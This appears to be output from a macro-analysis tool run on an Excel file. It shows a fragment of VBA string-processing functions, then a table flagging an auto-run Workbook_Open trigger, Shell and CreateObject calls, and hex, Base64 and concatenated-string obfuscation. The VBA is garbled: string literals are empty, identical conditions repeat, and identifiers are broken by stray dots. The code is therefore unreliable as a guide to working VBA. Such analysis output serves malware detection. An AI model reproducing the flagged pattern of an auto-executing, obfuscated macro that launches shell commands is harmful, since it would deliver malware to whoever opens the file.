 If para$ <> "" Then
 reduce_string_by_string0 = True
 ts1$ = minus_string(ts1$, time_string( _
 divide_st.ring(relation_string(re_s%).Data(0).relation_string, _
 relation_string(re_s%).Data(0).para(0), False, False), para$, False, False), _
 True, False)
 End If
End Function
Public Function cross_time_v_item(s1$, S2$) As String
If s1$ = "" And S2$ = "" Then
 cross_time_v_item = ""
ElseIf s1$ = "" And S2$ = "" Then
 cross_time_v_item = ""
ElseIf s1$ = "" And S2$ = "" Then
 cross_time_v_item = ""
ElseIf s1$ = "" And S2$ = "" Then
 cross_time_v_item = ""
Else
 cross_time_v_item = time_it.em(s1$, S2$)
End If
End Function
Public Function simple_v_string(ByVal v_s As String) As String
Dim pA(2) As String
If InStr(1, v_s, "", 0) > 0 Or InStr(1, v_s, "", 0) > 0 Or InStr(1, v_s, "", 0) > 0 Then
 pA(0) = read_para_from_string_for_ietm(v_s, "", "")
 pA(1) = read_para_from_string_for_ietm(v_s, "", "")
 pA(2) = read_para_from_string_for_ietm(v_s, "", "")
 Call simple_multi_string0(pA(0), pA(1), pA(2), "", simple_v_string, False)
ElseIf InStr(1, v_s, "", 0) > 0 Or InStr(1, v_s, "", 0) > 0 Then
 pA(0) = read_para_from_string_for_ietm(v_s, "", "")
 pA(1) = read_para_from_string_for_ietm(v_s, "", "")
 Call simple_multi_string0(pA(0), pA(1), "", "", simple_v_string, False)
Else
 simple_v_string = v_s
End If
End Function
Public Function set_number_string(n_string As String, ByVal n%, Optional set_new_number As Boolean = False) As Integer
Dim i%
If n% = 0 Or n% > last_number_string Then
 If n% = 0 And set_new_number = False Then
 For i% = 1 To last_number_string
 If number_string(i%) = n_string Then
 set_number_string = i%
 Exit Function
 End If
 Next i%
 last_number_string = last_number_string + 1
 Else
 last_number_string = n%
 End If
ReDim Preserve number_string(last_number_string) As String
 set_number_string = last_number_string
Else
 set_number_string = n%
End If
 number_string(set_number_string) = n_string
End Function









+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| VBA string | GET                  | "G" + "ET"                              |
| VBA string | op.                  | "op" + "."                              |
+------------+----------------------+-----------------------------------------+